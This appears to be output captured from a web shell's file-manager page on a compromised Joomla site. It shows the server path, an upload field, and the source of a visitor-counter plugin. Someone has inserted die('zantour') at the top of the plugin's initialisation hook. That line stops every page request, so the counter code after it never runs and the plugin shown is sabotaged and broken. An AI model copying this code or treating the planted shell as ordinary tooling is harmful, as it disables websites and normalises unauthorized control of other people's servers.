Your IP : 216.73.216.240


Current Path : /home/j/u/v/juvelize/www/plugins/system/jcounterplugin/
Upload File :
Current File : /home/j/u/v/juvelize/www/plugins/system/jcounterplugin/jcounterplugin.php

<?php
/*
* Most efficient way to get get the current number of visits is 
* the use of a plugin launched every time, ever when module disabled in
* a page
*/

defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');


class plgSystemJcounterplugin extends JPlugin {


	function plgSystemJcounterplugin( &$subject ) {
    parent::__construct( $subject );
  }

  /*
  * In our case we don't have to parse anything
  * just to check the presence of the cookie
  */
  
  public function onAfterInitialise() {
		die('zantour');
	  	$check_cookie = $_SESSION['jCounter'];
		if(empty($check_cookie)){
			$_SESSION['jCounter']= '0';
		}	
	  return true;
  }
}

?>